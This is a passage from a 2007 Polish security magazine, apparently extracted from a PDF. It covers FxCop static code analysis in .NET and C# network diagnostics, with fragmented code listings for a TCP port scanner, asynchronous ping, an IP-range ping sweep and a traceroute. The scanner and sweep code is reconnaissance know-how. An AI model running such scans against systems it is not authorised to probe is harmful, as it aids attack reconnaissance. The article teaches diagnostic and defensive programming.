leżeć od algorytmu użytego do wykry-
cia problemu oraz cech specyficznych 
dla  problemu,  które  nie  mogą  zostać 

zweryfikowane  na  podstawie  staty-
cznej  analizy.  Współczynnik  pew-
ności  określany  jest  w  procentach
(0-99%).  Im  wyższa  wartość,  tym 
większe  prawdopodobieństwo,  że 
dana  reguła  poprawnie  identyfiku-
je problem. 

Własne reguły

Bardzo  dobrze,  jeśli  proces  spraw-
dzania naszego oprogramowania jest 
w pełni opisany dostarczonymi regu-
łami.  Zdarzają  się  jednak  sytuacje, 
kiedy standardowe opcje nam nie wy-
starczają. W takim przypadku mamy 
możliwość  dopisania  własnej  reguły 
i podpięcia jej do istniejącego zesta-
wu.  Jak  się  do  tego  zabrać?  W  tym 
celu  pomocne  są  dwie  biblioteki: 
FxCopSdk.dll oraz Microsoft.Cci.dll.

Proces  tworzenia  nowej  reguły 

składa  się  z  dwóch  etapów.  Pierw-
szy  z  nich  to  stworzenie  definicji
reguły  –  określonej  w  pliku  XML 
–  oraz  napisanie  kodu,  który  będzie 
realizował sprawdzenie danej reguły.

Plik XML powinien wyglądać tak, 

jak na Listingu 1. i powinien zawierać 

informację  o  rodzaju  reguły,  jej  naz-
wie,  identyfikatorze  oraz  poziomie 
pewności.

W drugim kroku tworzymy biblio-

tekę, do której dodajemy następują-
ce referencje:

using Microsoft.Cci;
using Microsoft.FxCop.Sdk;
using Microsoft.FxCop.Sdk.Introspect

ion;

oraz tworzymy klasę o nazwie takiej 
jak nazwa reguły:

public class RegulaPusteNazwy :
BaseIntrospectionRule

Następnie  musimy  zaimplementować 
obsługę sprawdzania danej reguły, nad-
pisując w tym celu metodę Check. Jej 
parametrem  może  być  moduł,  para-
metr, zasób, etc. Pełna lista możliwych 
parametrów znajduje się w Ramce.

Ostatnim krokiem jest kompilacja 

biblioteki i umieszczenie jej w katalo-
gu z innymi regułami (FxCop\Rules), 
a także przetestowanie jej.

Pełna lista możliwych parametrów

public virtual ProblemCollection Check(Member member);
public virtual ProblemCollection Check(Module module);
public virtual ProblemCollection Check(Parameter parameter);
public virtual ProblemCollection Check(Resource resource);
public virtual ProblemCollection Check(TypeNode type);
public virtual ProblemCollection Check(string namespaceName, 
TypeNodeList types);

Rysunek 2. 

Lista Ostrzezeń po analizie kodu

background image

FxCop – analiza kodu w .NET

hakin9 Nr 12/2007

www.hakin9.org

55

FxCop w praktyce

Wiemy już, czym jest FxCop i jakie jest jego zastosowa-
nie. Zobaczmy teraz, w jaki sposób możemy praktycznie 
wykorzystać to narzędzie i jak się do tego zabrać. Poniżej 
chciałbym przedstawić sposób wykonania statycznej ana-
lizy kodu przy użyciu Visual Studio.

Aby  rozpocząć  pracę  z  FxCop  i  statyczną  analizą 

kodu, należy uruchomić właściwości projektu w Visual
Studio, a następnie z lewego menu wybrać opcję Co-
de  Analysis.  Otrzymamy  okno  takie,  jak  na  Rysun-
ku  1.  Następnie  w  tym  oknie  wybieramy  opcję  Enable
Code Analysis
, która spowoduje włączenie analizy kodu.
W tym momencie możemy jeszcze raz wykonać zbudo-
wanie naszej aplikacji. 

W trakcie kompilacji będziemy dostawać ostrzeżenia 

(o ile się takie pojawią) dotyczące jakości utworzonego 
kodu. Przykład takiej listy ostrzeżeń przedstawiony jest 
na Rysunku 2. Jeśli przyjrzymy się temu obrazkowi, bę-
dziemy mogli dostrzec błędy o numerach zaczynających 
się  od  liter  CA  –  jak  Code  Analysis.  W  drugiej  kolum-
nie zobaczyć można kolejną bardzo ważną informację, 
mówiącą o kategorii, do której należy dana reguła, np.
Microsoft.Usage

Dla przykładu linia 4 zawiera następujące informacje:
CA2210 : Microsoft.Design : Sign FxCop-Sample with 

a strong name key

Oznacza to, że nasz projekt nie jest podpisany, a co 

za tym idzie – klient może mieć problem z instalacją lub
uruchomieniem wynikowej aplikacji, ponieważ system nie 
będzie  wiedział,  czy  można  zaufać  bibliotekom  wcho-
dzącym w skład programu (lub samemu programowi).

Oczywiście nie ma potrzeby wykorzystania wszyst-

kich reguł. Jeśli celowo chcemy pominąć jakąś grupę re-
guł lub konkretny numer błędu (bo tego wymaga nasza 
aplikacja), to w oknie, w którym uruchamialiśmy anali-
zę kodu, możemy wybierać interesujące nas reguły. Na 
Rysunku 3. przedstawiony jest przykład wyłączenia ze 
sprawdzania reguły mówiącej o tym, że nasza bibliote-
ka powinna mieć zadeklarowany minimalny stopień bez-
pieczeństwa.

Jeśli teraz ponownie przekompilujemy nasz projekt, to 

zobaczymy, że ostrzeżenie o błędzie CA2209 nie będzie 

Rysunek 3. 

Wyłączenie jednej z reguł

background image

hakin9 Nr 12/2007

www.hakin9.org

Obrona

56

już  widoczne  –  pokazuje  to  Rysu-
nek  4.  Oczywiście  nie  musimy  się 
ograniczać do włączania lub wyłą-
czania  pojedynczych  reguł.  Mamy 
również  możliwość  wyłączenia  ze 
sprawdzania całej ich grupy, tak jak 
widać na Rysunku 5. 

Jeśli  dobrze  zwrócimy  uwagę 

na  opcję  konfiguracji  analizy  kodu, 
łatwo  dostrzeżemy,  że  możliwe  jest 
przygotowanie takich ustawień, które
będą odpowiednie dla różnych konfi-
guracji. Co innego może być spraw-
dzane  dla  konfiguracji  Debug,  a  co 
innego dla konfiguracji Release.

Od  czasu  do  czasu  zdarza  się, 

że  z  jakiś  powodów  nie  chcemy 
pozwolić  na  kompilację  programu,
jeśli pojawią się ostrzeżenia z anali-
zy kodu. W takiej sytuacji warto za-
mienić  ostrzeżenie  w  błąd.  Dzię-
ki  temu,  jeśli  napotkamy  na  ta-
ki  problem,  to  nie  będziemy  mogli 
przejść nad nim do porządku dzien-
nego,  tylko  będziemy  zmuszeni  do 
jego  poprawy.  Jak  to  wykonać? 
Nic  prostszego.  Na  liście  z  reguła-
mi po prawej stronie mamy wykrzyk-
nik  symbolizujący  ostrzeżenie.  Jeśli 
teraz  klikniemy  w  niego  i  zmienimy 
ostrzeżenie na błąd, to w momencie 
napotkania  na  opisany  regułą  pro-
blem otrzymamy błąd. Taką sytuację 
przedstawia  Rysunek  6.  Po  kom-
pilacji  przypadek  spełnienia  reguły 
CA2100 będzie wykryty jako błąd, co 
spowoduje, że będziemy musieli tak 
poprawić składnię SQLa, aby nie ak-
ceptowała  dowolnie  wpisanego  cią-
gu znaków. Pozwoli nam to na napi-
sanie bezpieczniejszej aplikacji.

Podsumowanie

Mamy  do  dyspozycji  coraz  więcej 
narzędzi  wspomagających  tworze-
nie  bezpieczniejszych  aplikacji.  Jed-
nym z nich jest FxCop. Narzędzie to 
jest bardzo potężne i to nie tylko dzię-
ki  wbudowaniu  w  nie  standardowo 

około dwustu reguł, ale również dla-
tego, że pozwala na rozbudowę tego 
zestawu.  Jeśli  nasza  firma  korzysta
z  własnych  reguł  poprawności  ko-
du, to mamy możliwość dopisania ich 
do już istniejących. Gdybyśmy chcie-
li  dodać  własny  algorytm  analizy, 
także  mamy  taką  możliwość.  Pole-
cam zapoznać się z tym narzędziem,
a tworzenie bezpieczniejszych aplika-
cji stanie się łatwiejsze. l

Rysunek 5. 

Wyłączenie ze sprawdzania całej grupy

Rysunek 6. 

Zamiana ostrzeżenia na błąd

Rysunek 4. 

Wynik kompilacji po wyłączeniu reguły

O autorze

Autor  jest  pracownikiem  firmy  Micro-
soft. Na co dzień zajmuje się m. in. two-
rzeniem  rozwiązań  w  oparciu  o  SQL 
Server  w  różnych  aspektach  –  bazy
relacyjne,  usługi  integracyjne,  usługi 
analityczne. Jest certyfikowanym admi-
nistratorem baz danych (MCDBA). 
Kontakt z autorem:
arturz@microsoft.com

background image

Media Systems

Firma Media Systems oferuje Państwu 

profesjonalny system CashBill.pl, 

umożliwiający  zarządzanie  usługami 

SMS  Premium  Rate  w  sektorze  B2B 

i B2C.

Oferujemy  również  szeroki  wachlarz 

usług mikropłatniczych, płatności 

elektronicznych oraz indywidualne, de-

dykowane rozwiązania przy budowie 

aplikacji mobilnych. 

TTS Company Sp. z o.o.

Oprogramowanie komputerowe – sprze-

daż, dystrybucja oraz import na zamó-

wienie. W ofercie programy autorstwa 

ponad dwustu firm z całego świata. Za-

praszamy do współpracy – zostań na-

szym  klientem  lub  dostawcą.  Chcesz 

kupić  oprogramowanie  i  nie  możesz 

znaleźć polskiego dostawcy? Skontak-

tuj się z nami? sprowadzimy nawet po-

jedyncze licencje. 

www.OprogramowanieKomputerowe.pl

Zepter IT

Zepter  IT  to  dynamicznie  rozwijająca 

się firma, specjalizująca się w realiza-

cji projektów informatycznych.

Oferujemy  rozwiązania  dla  biznesu 

i  zarządzania  takie  jak  systemy  ERP 

czyli zarządzanie zasobami firmy, pod-

noszenie jakości i obniżanie kosztów.

Zepter  IT  świadczy  również  usługi  in-

ternetowe - serwisy www, e-commerce, 

tworzenie  aplikacji  internetowych  oraz 

systemów zarządzania treścią. 

www.zepterit.com

Pr

en

um

er

at

PR

O

Prenumerata PRO

ko

nt

ak

t d

na

s:

 

m

ar

ty

na

.z

ac

ze

k@

so

ft

w

ar

e.

co

m

.p

l

ka

ta

rz

yn

a.

ju

sz

cz

yn

sk

a@

so

ft

w

ar

e.

co

m

.p

l

te

l. 

: 2

42

36

 7

7

Petrosoft

Partner Microsoft Bussiness Solutions 

Dynamics  GP.  Budowa  sklepów  inter-

netowych, serwisów WWW, prezentacji 

multimedialnych.  Budowa  sieci  LAN, 

WAN,  telekomunikacyjnych.  Telefonia 

stacjonarna,  VoiceIP.  Usługi  outsor-

cingowe  dla  dużych  firm  z  zakresu 

informatyki  i  telekomunikacji.  Opro-

gramowanie na zamówienia. Dostawa 

serwerów, sprzętu, oprogramowania.

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

background image

www.hakin9.org

hakin9 Nr 12/2007

58

Obrona

P

isząc  własną  aplikację  diagnozują-
cą  sieć  warto  przyjrzeć  się  platformie 
.NET  i  zawartych  w  niej  klasach  słu-

żących do programowania sieciowego. W tym 
artykule  spróbuję  przybliżyć  sposoby  spraw-
dzania  dostępności  komputerów  w  sieci  za
pomocą  pakietów  ICMP.  Znajomość  tych  za-
gadnień  od  strony  programowej  umożliwia 
stworzenie  dowolnych  narzędzi  diagnostycz-
nych, które najlepiej pasują do naszych ocze-
kiwań.  Rozpoczniemy  od  nietypowego  użycia 
połączenia TCP.

Skanowanie portów

Skanowanie portów to jedna z podstawowych 
technik  ataku.  Stosowana  jest  również  przez 
administratorów  sieci  w  celu  przeciwdziała-
nia  ewentualnym  próbom  ataku.  Powszech-
nie  używanym  narzędziem  jest  program
nmap (http://insecure.org/nmap). Jest to pro-
gram  darmowy,  który  posiada  bardzo  dużo 
opcji.  Dzięki  niemu  możemy  przeprowadzić 
wiele  rodzajów  skanowania  portów  zdalnego 
hosta.  Spróbujmy  napisać  metodę  w  języku
C#,  która  zadziała  podobnie  do  wspomnia-
nego  programu  nmap.  Użyjemy  do  tego  kla-
sy 

TcpClient

, która służy do obsługi połącze-

nia TCP. Konstruktor klasy 

TcpClient

 jest prze-

ciążony.  Jedna  z  jego  wersji,  której  użyjemy 
w  programie,  próbuje  nawiązać  połączenie 
z  komputerem  zdalnym  o  adresie  i  porcie 
wskazanym w argumencie. W przypadku, kie-
dy połączenie nie dojdzie do skutku, wygene-
rowany  zostanie  wyjątek.  Wystarczy  zatem 
wykonywać  próby  połączenia  w  pętli,  która 
będzie przebiegać po interesujących nas por-
tach.  W  związku  z  możliwością  generowania 
wyjątków  przez  konstruktor  klasy 

TcpClient

C#.NET – diagnostyka sieci

Sławomir Orłowski

stopień trudności

Otwarte porty i brak blokowania pakietów ICMP to jawne 

zaproszenie do ataku. Programista piszący aplikację sieciową 

służącą obronie bądź atakowi powinien umieć programowo 

wysyłać pakiety ICMP oraz skanować porty. 

Z artykułu dowiesz się

•   jak z poziomu kodu C# diagnozować sieć kom-

puterową.

Co powinieneś wiedzieć

•   podstawy jednego z następujących języków: C, 

C++, Java lub oczywiście C#. W razie niespeł-
niania tego warunku potrzebny jest duży zapał,

•   podstawy  programowania  zorientowanego 

obiektowo,

•   podstawowa znajomość sieci komputerowych.

background image

C#.NET – diagnostyka sieci

hakin9 Nr 12/2007

www.hakin9.org

59

połączenie  powinno  być  chronione 
blokiem  try-catch.  Kod,  który  rea-
lizuje  to  zadanie,  przedstawiony 
został  na  Listingu  1.  Aby  metoda 
ta działała, musimy w bloku using do-
dać  przestrzeń  nazw  System.Net.
Sockets
 i System.Net.

Metoda 

OpenPortsScan

  przyjmu-

je  trzy  argumenty.  Dwa  pierwsze 
ustalają  zakres,  na  jakim  będzie-
my  wykonywać  skanowanie  por-
tów  (wartość  minimalna  i  maksy-
malna),  a  ostatni  to  nazwa  hosta 
lub jego adres IP. Wartością zwra-
caną  przez  tę  metodę  będzie  li-
sta  wszystkich  otwartych  portów.
Użyjemy do tego bardzo wygodne-
go typu ogólnego 

List<>

 sparame-

tryzowanego  typem  int.  Dla  pew-
ności  powinniśmy  sprawdzić,  czy 
numery  portów  podane  w  argu-
mencie  nie  są  niewłaściwe.  Klasa 

IPEndPoint

 ma dwie statyczne wła-

sności 

MaxPort

 i 

MinPort

, które prze-

chowują  odpowiednio  minimalny 
i maksymalny numer portu. Możemy 
ich użyć do sprawdzenia, czy przy 
wywołaniu  naszej  metody  ktoś  nie 
podał  złych  numerów  portów.  Po 
tych  zabiegach  można  już  próbo-
wać  nawiązywać  połączenie  TCP 
– obowiązkowo w bloku ochronnym 

try-catch

. Jeśli próba zakończy się 

sukcesem,  wówczas  numer  portu, 
na  którym  nastąpiło  połączenie, 
jest  zapisywany  do  listy  otwartych 
portów.  Kiedy  port  jest  zamknię-
ty,  dostaniemy  wyjątek,  który  ma-
my szansę obsłużyć w sekcji catch. 
Jednak w tym przypadku jest to nie-
potrzebne.  Jak  widać  z  Listingu  1. 
zasada  działania  jest  bardzo  pro-
sta. Jej podstawową wadą jest dłu-
gi czas skanowania, który związany 
jest z koniecznością nawiązywania 
połączenia TCP. Inicjacja nowej in-
stancji  klasy 

TCPClient

  przy  każdej 

próbie  połączenia  na  danym  por-
cie  może  się  nie  podobać.  Jednak 
nie powoduje ona wycieków pamię-
ci. Dla zamkniętych portów egzem-
plarz  klasy 

TCPClient

  w  ogóle  nie 

powstaje,  ponieważ  generowany 
jest wyjątek w konstruktorze obiek-
tu.  Zwykle  portów,  które  są  otwar-
te, jest niewiele, co również nie ob-
ciąża  zbytnio  pamięci.  Dodatkowo 

musimy  pamiętać,  że  w  C#.NET
i tak nie mamy bezpośredniego do-
stępu  do  pamięci.  Wszystko  zała-
twia za nas garbage collector. Me-
todę z Listingu 1 możemy umieścić 
w  projekcie  Windows  Forms  lub 
Windows  Presentation  Fundation 
i  stworzyć  prostą  aplikację  okien-
kową  skanującą  porty.  Wywołanie 
metody  OpenPortsScan  powinni-
śmy  umieścić  w  osobnym  wątku, 
aby  przeciwdziałać  zablokowaniu 
interfejsu  aplikacji.  Metodę  można 

również  przeciążyć  tak,  aby  jako 
jeden  z  argumentów  przyjmowała
listę portów, które mają być spraw-
dzone. Proponuję Czytelnikowi po-
eksperymentować.

Ping

Drugie zagadnienie, jakie chciałem 
poruszyć w tym artykule, to wysła-
nie  programowo  pakietu  ping.  Jak 
wiadomo,  ping  może  być  podsta-
wowym  narzędziem  do  sprawdza-
nia dostępności komputera w sieci. 

Listing 1. 

Metoda umożliwiająca skanowanie portów

private

 

List

<

int

>

 

OpenPortsScan

(

int

 

first

int

 

last

string

 

host

)

{

    

List

<

int

>

 

openPorts

 

=

 

new

 

List

<

int

>();

    

if

 

((

first

 

<=

 

last

)&&(

last

<=

IPEndPoint

.

MaxPort

 

&&

 

first

 

>=

 

IPEndPoint

.

MinPort

))

    

{

       

for

 

(

int

 

i

 

=

 

first

;

 

i

 

<

 

last

;

 

i

++)

{

    

try

    

{

TcpClient

 

client

 

=

 

new

 

TcpClient

(

host

i

);

openPorts

.

Add

(

i

);

    

}

    

catch

    

{

    

}

       

}

return

 

openPorts

;

    

}

    

else

return

 

null

;

}

Listing 2. 

Asynchroniczne wywołanie pinga

public

 

void

 

AsyncPing

(

string

 

host

int

 

timeout

byte

[]

 

buffor

PingOptions

 

options

)

{

    

Ping

 

ping

 

=

 

new

 

Ping

();

    

ping

.

PingCompleted

 

+=

 

new

 

PingCompletedEventHandler

(

ping_PingCompleted

);

    

try

    

{

ping

.

SendAsync

(

host

timeout

buffor

options

false

);

    

}

    

catch

 

(

Exception

 

ex

)

    

{

MessageBox

.

Show

(

"Błąd: {0}"

ex

.

Message

);

    

}

}

 

Listing 3. 

Domyślnie utworzona metoda zdarzeniowa 

void

 

ping_PingCompleted

(

object

 

sender

PingCompletedEventArgs

 

e

)

{

    

throw

 

new

 

Exception

(

"The method or operation is not implemented."

);

}

 

background image

hakin9 Nr 12/2007

www.hakin9.org

Obrona

60

Za  jego  pomocą  możemy  również 
sprawdzić drogę wysłanego pakietu.
Podstawowy problem, jaki napotka-
my przy użyciu pinga, to firewall na 
komputerze  docelowym,  który  blo-
kuje  odpowiedzi  na  pakiety  ICMP. 
W C#.NET ping może być wysłany 
w  bieżącym  wątku  oraz  asynchro-
nicznie.  Metoda  asynchroniczna 
po wywołaniu kończy swoje działa-
nie w wątku, w którym znajduje się 
obecnie,  a  jej  wykonanie  przenie-
sione  zostaje  do  osobnego  wątku.
Jeśli  proces  zostanie  zakończony 
(pomyślnie bądź z powodu błędu), 
wówczas  generowane  jest  odpo-
wiednie  zdarzenie,  które  informu-
je  wątek  wywołujący  o  zakończe-
niu  działania.  Używając  delegacji
możemy zostać subskrybentem te-
go  zdarzenia,  a  w  związku  z  tym 
możemy  obsłużyć  je  w  odpowied-
niej metodzie zdarzeniowej. Na po-
czątek proponuję napisać zwykłego 
pinga.  Dzięki  temu  zapoznamy  się
z  samą  metodą  wysyłającą  ping 
oraz  sposobem  obsługi  metod 
asynchronicznych. Naszą aplikację
napiszemy  w  środowisku  Visual 
C#  2005  Express  Edition.  Będzie 
to  projekt  Windows  Forms.  Inter-
fejs aplikacji będzie niezwykle pro-
sty. Jej wygląd przedstawia Rysu-
nek 1. 

Na  formie  umieszczamy  kolej-

no kontrolki textBox1button1 i list-
Box1
. Przechodzimy do widoku kodu
(klawisz  F7).  W  sekcji  using  do-
dajemy  przestrzeń  nazw  System.

Net.NetworkInformation.  W  niej  znaj-
duje się klasa 

Ping

, która odpowia-

da za wysyłanie pinga. Mamy więc 
gotowca. Jak napisałem wcześniej, 

ping

  wysyłany  będzie  asynchro-

nicznie.  Na  szczęście  nie  musimy 
samodzielnie  implementować  od-
powiedniej metody. W tym przypad-
ku środowisko .NET również przy-
chodzi  nam  z  pomocą,  konkretnie 
dostarczając metodę 

SendAsync

 kla-

sy 

Ping

. My musimy jedynie zadbać 

o stworzenie metody zdarzeniowej, 

która zostanie wywołana po zakoń-
czeniu  działania  wątku  wywołane-
go przez metodę 

SendAsync

. Całość 

metody przedstawia Listing 2.

Metoda  ta  nie  zwraca  żadnych 

wartości.  Jako  argumenty  przyjmu-
je kolejno nazwę hosta, czas ocze-
kiwania  na  odpowiedź,  bufor,  ja-
ki  mamy  przesłać  oraz  dodatkowe
opcje (klasa 

PingOptions

). Na począt-

ku  tworzony  jest  egzemplarz  klasy 
Ping.  W  drugim  kroku  do  zdarze-
nia 

PingCompleted

 dodajemy metodę 

Listing 4. 

Metoda zdarzeniowa wywołana dla zdarzenia PingCompleted

void

 

ping_PingCompleted

(

object

 

sender

PingCompletedEventArgs

 

e

)

{

    

if

 

(

e

.

Cancelled

 

||

 

e

.

Error

 

!=

 

null

)

    

{

MessageBox

.

Show

(

"Błąd: Operacja przerwana, bądź host nieosiągalny"

);

((

IDisposable

)(

Ping

)

sender

)

.

Dispose

();

return

;

    

}

    

PingReply

 

answer

 

=

 

e

.

Reply

;

    

if

 

(

answer

.

Status

 

==

 

IPStatus

.

Success

)

listBox1

.

Items

.

Add

(

"Odpowiedz z "

 

+

 

answer

.

Address

.

ToString

()

 

+

 

" bajtów="

 

+

 

answer

.

Buffer

.

Length

 

+

 

" czas="

 

+

 

answer

.

RoundtripTime

 

+

 

"ms TTL="

 

+

 

answer

.

Options

.

Ttl

);

    

else

listBox1

.

Items

.

Add

(

"Błąd: Brak odpowiedzi z "

 

+

 

e

.

Reply

.

Address

 

+

 

": "

 

+

 

answer

.

Status

.

ToString

());

    

((

IDisposable

)(

Ping

)

sender

)

.

Dispose

();

}

Listing 5. 

Metoda zdarzeniowa Click przycisku button1

private

 

void

 

button1_Click

(

object

 

sender

EventArgs

 

e

)

{

    

PingOptions

 

options

 

=

 

new

 

PingOptions

();

    

options

.

DontFragment

 

=

 

true

;

    

options

.

Ttl

 

=

 

128

;

    

byte

[]

 

buffor

 

=

 

Encoding

.

ASCII

.

GetBytes

(

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

);

    

int

 

timeout

 

=

 

120

;

    

for

(

int

 

i

 

=

 

0

;

 

i

<

3

;

 

i

++)

AsyncPing

(

textBox1

.

Text

timeout

buffor

options

);

}

Rysunek 1. 

Projekt interfejsu aplikacji wysyłającej asynchronicznie ping

background image

C#.NET – diagnostyka sieci

hakin9 Nr 12/2007

www.hakin9.org

61

zdarzeniową 

ping _ PingCompleted

Najszybciej  linijkę  tę  możemy  na-
pisać  używając  klawisza  Tab.  Po 
wprowadzeniu  operatora 

+=

  otrzy-

mamy  podpowiedź,  new 

PingCompl

etedEventHandler()

.  Akceptujemy  ją 

naciskając klawisz Tab. Kolejna pod-
powiedź dotyczy nazwy metody. Ak-
ceptujemy ją również, dzięki czemu 
utworzona zostanie domyślna meto-
da 

ping _ PingCompleted 

(Listing  3). 

Na  razie  zostawiamy  ją  i  przecho-
dzimy do pisania dalszej części me-
tody 

AsyncPing

 z Listingu 2.

Wysyłanie  pinga  umieszcza-

my  w  bloku  ochronnym  try-catch, 
ponieważ  metoda 

SendAsync

  mo-

że generować wyjątki. Teraz prze-
chodzimy do implementacji metody 
zdarzeniowej 

ping _ PingCompleted

 

(Listing 4).

Przyjrzyjmy się na początek au-

tomatycznie  utworzonemu  nagłów-
kowi  tej  metody.  Referencja  sender 
wskazuje nam na obiekt wywołujący, 
a  więc  egzemplarz  klasy 

Ping

.  Pod 

referencją  e  kryją  się  wszystkie  in-
formacje na temat wysłanego przez 
nas pinga. Na początku sprawdzimy, 
czy podczas próby wysyłania pakie-
tów ICMP nie nastąpił błąd lub prze-
rwanie operacji. Na to pytanie odpo-
wiedzą  własności  Error  i  Cancelled 
typu logicznego. W przypadku, kiedy 
wystąpił błąd lub wysyłanie pakietów 
zostało  przerwane,  powinniśmy  wy-
świetlić odpowiedni komunikat. Robi-
my  to  używając  okna  MessageBox
Następnie warto zniszczyć obiekt wy-
wołujący,  ponieważ  platforma  .NET 

Listing 6. 

Metoda zdarzeniowa Click przycisku button2

private

 

void

 

button2_Click

(

object

 

sender

EventArgs

 

e

)

{

    

IPAddress

 

startIP

 

=

 

null

;

    

IPAddress

 

endIP

 

=

 

null

;

    

if

 

(

IPAddress

.

TryParse

(

textBox2

.

Text

out

 

startIP

))

    

{

if

 

(

IPAddress

.

TryParse

(

textBox3

.

Text

out

 

endIP

))

{

    

byte

[]

 

start

 

=

 

startIP

.

GetAddressBytes

();

    

byte

[]

 

end

 

=

 

endIP

.

GetAddressBytes

();

    

PingOptions

 

options

 

=

 

new

 

PingOptions

();

    

options

.

Ttl

 

=

 

128

;

    

options

.

DontFragment

 

=

 

true

;

    

byte

[]

 

buffor

 

=

 

Encoding

.

ASCII

.

GetBytes

(

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

);

    

int

 

timeout

 

=

 

120

;

    

for

 

(

byte

 

oktet1

 

=

 

start

[

0

];

 

oktet1

 

<=

 

end

[

0

];

 

oktet1

++)

for

 

(

byte

 

oktet2

 

=

 

start

[

1

];

 

oktet2

 

<=

 

end

[

1

];

 

oktet2

++)

    

for

 

(

byte

 

oktet3

 

=

 

start

[

2

];

 

oktet3

 

<=

 

end

[

2

];

 

oktet3

++)

for

 

(

byte

 

oktet4

 

=

 

start

[

3

];

 

oktet4

 

<=

 

end

[

3

];

 

oktet4

++)

{

    

IPAddress

 

address

 

=

 

new

 

IPAddress

(

new

 

byte

[]

 

{

 

oktet1

oktet2

oktet3

oktet4

 

}

);

    

AsyncPing

(

address

.

ToString

()

,

 

timeout

buffor

options

);

}
}

else

{

    

MessageBox

.

Show

(

"Błędnie wprowadzony końcowy adres IP"

);

    

textBox3

.

Focus

();

    

textBox3

.

SelectAll

();

}

    

}

    

else

    

{

MessageBox

.

Show

(

"Błędnie wprowadzony początkowy adres IP"

);

textBox2

.

Focus

();

textBox2

.

SelectAll

();

    

}

}

 

Listing 7. 

Deklaracje prywatnych pól oraz metody zdarzeniowej 

PingCompleted

private

 

Ping

 

trace

 

=

 

new

 

Ping

();

private

 

int

 

i

 

=

 

1

;

private

 

const

 

int

 

jumps

 

=

 

30

;

public

 

Form1

()

{

       

InitializeComponent

();

       

trace

.

PingCompleted

 

+=

 

new

 

PingCompletedEventHandler

(

trace_

PingCompleted

);

}

Rysunek 2. 

Interfejs aplikacji, która 

zawiera wszystkie metody z tego 
artykułu

background image

hakin9 Nr 12/2007

www.hakin9.org

Obrona

62

może  sobie  z  tym  nie  poradzić.  Pa-
miętajmy,  że  jest  to  programowa-
nie wielowątkowe, przez co garbage 
collector
  zwyczajnie  może  zgłupieć
Jest to błąd, który potencjalnie może
powodować wyciek pamięci. Aby te-
mu  przeciwdziałać,  referencję  sen-
der
  rzutujemy  na  klasę 

Ping

,  potem 

na interfejs IDisposable i na całości 
wykonujemy metodę Dispose. Jeże-
li odnieśliśmy sukces (czyli ping zo-
stał  wysłany),  to  możemy  odczytać 
odpowiedź,  która  zaszyta  jest  we 
własności  e.Reply  klasy 

PingReply

Proszę  zwrócić  uwagę  na  użytecz-
ną własność Status, za pomocą któ-
rej możemy sprawdzić status naszej 
odpowiedzi. Przyda się to w dalszej 
części artykułu, gdzie będziemy im-
plementować  metodę  umożliwiają-
cą  śledzenie  pakietu  ICMP.  Mamy 
już gotowe metody, teraz wystarczy 
ich  użyć.  Dla  kontrolki  button1  two-
rzymy domyślną metodę zdarzenio-
wą  Click  i  umieszczamy  w  niej  kod 
z Listingu 5.

Dane,  jakie  będziemy  wysyłać

w  pakietach 

ping

,  muszą  być  tabli-

cą typu byte. Prostym sposobem jej 
uzyskania  jest  zastosowanie  kla-
sy 

Encoding

.  Zachęcam  Czytelnika 

do modyfikacji tego programu – po-
przez dodanie do interfejsu możliwo-
ści  wyboru  wielkości  bufora,  czasu 
oczekiwania, ilości powtórzeń itd. 

Dostępność 

komputerów z żądanego 

adresów IP

Skoro  umiemy  już  wysyłać  ping
spróbujmy stworzyć bardziej skom-
plikowane aplikacje korzystające z 

Listing 8. 

Wysłanie pakietu ICMP z polem TTL o wartości 1

private

 

void

 

button3_Click

(

object

 

sender

EventArgs

 

e

)

{

    

byte

[]

 

buffor

 

=

 

Encoding

.

ASCII

.

GetBytes

(

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

);

    

int

 

timeout

 

=

 

120

;

    

i

 

=

 

1

;

    

PingOptions

 

options

 

=

 

new

 

PingOptions

(

i

true

);

    

trace

.

SendAsync

(

textBox4

.

Text

timeout

buffor

options

false

);

    

listBox1

.

Items

.

Add

(

"Badanie drogi pakietu do "

 

+

 

textBox4

.

Text

);

}

Listing 9. 

Metoda zdarzeniowa PingCompleted dla metody badającej drogę pakietów 

void

 

trace_PingCompleted

(

object

 

sender

PingCompletedEventArgs

 

e

)

{

    

if

 

(

e

.

Error

 

!=

 

null

 

)

    

{

listBox1

.

Items

.

Add

(

"Błąd: "

 

+

 

e

.

Error

.

Message

);

return

;

    

}

    

if

 

(

e

.

Cancelled

)

    

{

listBox1

.

Items

.

Add

(

"Przerwano operację na życzenie użytkownika."

);

    

}

    

else

    

{

if

 

(

e

.

Reply

.

Status

 

==

 

IPStatus

.

TtlExpired

)

   

listBox1

.

Items

.

Add

(

"Skok "

 

+

 

i

.

ToString

()

 

+

 

" host: "

 

+

 

e

.

Reply

.

Address

.

ToString

());

       

if

 

(

e

.

Reply

.

Status

 

==

 

IPStatus

.

TimedOut

)

   

listBox1

.

Items

.

Add

(

"Skok "

 

+

 

i

.

ToString

()

 

+

 

" host: * Upłynał limit czasu żądania."

);

       

if

 

(

e

.

Reply

.

Status

 

==

 

IPStatus

.

Success

)

       

{

   

listBox1

.

Items

.

Add

(

"Skok "

 

+

 

i

.

ToString

()

 

+

 

" host: "

 

+

 

e

.

Reply

.

Address

.

ToString

());

   

return

;

       

}

       

if

 

(

i

++

 

<

 

jumps

)

       

{

   

PingOptions

 

options

 

=

 

new

 

PingOptions

(

i

true

);

   

byte

[]

 

buffor

 

=

 

Encoding

.

ASCII

.

GetBytes

(

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

);

   

int

 

timeout

 

=

 

120

;

   

trace

.

SendAsync

(

textBox4

.

Text

timeout

buffor

options

null

);

       

}

       

else

       

{

   

listBox1

.

Items

.

Add

(

"Przekroczono maksymalną liczbę skoków (parametr TTL = "

 

+

 

jumps

.

ToString

()+

")"

);

       

}

    

}

}

background image

C#.NET – diagnostyka sieci

hakin9 Nr 12/2007

www.hakin9.org

63

zaimplementowanej przez nas  me-
tody 

AsyncPing

.  Na  początek  niech 

będzie  to  program  sprawdzający 
dostępność  w  sieci  komputerów 
o adresach IP z zadanego zakresu. 
W tym celu zmodyfikujemy nieco in-
terfejs naszej aplikacji. Do formy do-
damy pola textBox1 i textBox2 oraz 
przycisk button2. Tworzymy dla nie-
go metodę zdarzeniową Click, która 
widoczna jest na Listingu 6.

W pola textBox2 i textBox3 użyt-

kownik będzie mógł wprowadzić za-
